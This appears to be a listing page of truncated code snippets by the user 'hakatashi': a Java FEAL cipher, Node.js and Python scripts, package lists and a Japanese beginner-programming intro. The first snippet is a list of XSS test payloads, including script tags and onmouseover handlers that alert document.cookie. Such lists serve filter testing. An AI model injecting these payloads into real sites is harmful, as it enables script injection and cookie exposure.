hakatashi

• '';!--"<XSS>=&{()}``\"
• <script>alert(XSS);</script>
• "><script>alert(XSS);</script>
• <ScrIpt>alert(1);</SCript>
• <a onmouseover="alert(document.cookie)">XSS</a>
• <a onmouseover=alert(document.cookie)>XSS</a>
• <<script>alert("XSS");//<</script>
• <iframe src="javascript:alert('XSS');"></iframe>
• <iframe src=# onmouseover="alert(document.cookie)"></iframe>
• ``

hakatashi

import java.util.Arrays;
import edu.rit.util.Hex;
import edu.rit.util.Packing;

public class FEALCipher implements BlockCipher {
    //Set up parameters and default values
    public int R = 8;
    byte deltaParam = 0;
    int numOfSubKeys = (this.R + 8);
    short[] subKey = new short[numOfSubKeys];

hakatashi

var Zip = require('node-7z');
var async = require('async');
var fs = require('fs');

var archive = new Zip();

// Polyfill String.prototype.endsWith
if (!String.prototype.endsWith) {
	Object.defineProperty(String.prototype, 'endsWith', {
		enumerable: false,

hakatashi

C:\Users\hakatashi>choco list -lo
7zip 9.22.01.20130618
7zip.commandline 9.20.0.20130618
7zip.install 9.22.01.20130618
AdobeAIR 15.0.0.249
adobereader 11.0.09.20140925
android-sdk 24.0.2
arduinoide 1.0.5.20140625
Atom 0.153.0
audacity 2.0.6

hakatashi

from PIL import Image

omote = Image.open('omote.png', 'r')
ura = Image.open('ura.png', 'r')

dest = Image.new('RGBA', omote.size)

(width, height) = omote.size

for x in range(width):

hakatashi

var fs = require('fs');

var hidden = fs.readFileSync('hidden.dat');

var ptr = 0;

for (var ptr = 0; ptr < hidden.length; ptr += 2401) {
    process.stdout.write(hidden.readUInt8(ptr).toString());
}

hakatashi

TSG プログラミング初心者向け分科会 イントロダクション

お掃除お疲れ様です。 今回は趣味プログラマーの@hakatashiが、プログラミング初心者向けの最初の一歩を踏み出す手伝いをさせてもらいます。

今回の目標

• GitHubなどにリポジトリを立ててバージョン管理しながら開発を進められる状態になる
• TSGのサーバーにSSHでアクセスして作業できる状態になる

hakatashi

hakatashi@HAKATAPAD C:\Users\hakatashi
$ choco list -lo
Chocolatey v0.9.9.5
7zip 9.22.01.20130618
7zip.commandline 9.20.0.20130618
7zip.install 9.22.01.20130618
AdobeAIR 15.0.0.249
adobereader 11.0.10
android-sdk 24.0.2
arduinoide 1.6.1

hakatashi

Built-in Atom packages (85)
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]

hakatashi

# Simulate the solar irradiance from the earth
import numpy as np
from scipy.constants import *

# Prompt Solar Temperature (ideally around 5800K)
T = int(input('Temperature? '))

# Constants
Rsun = 6.96e8 # Solar radius (m)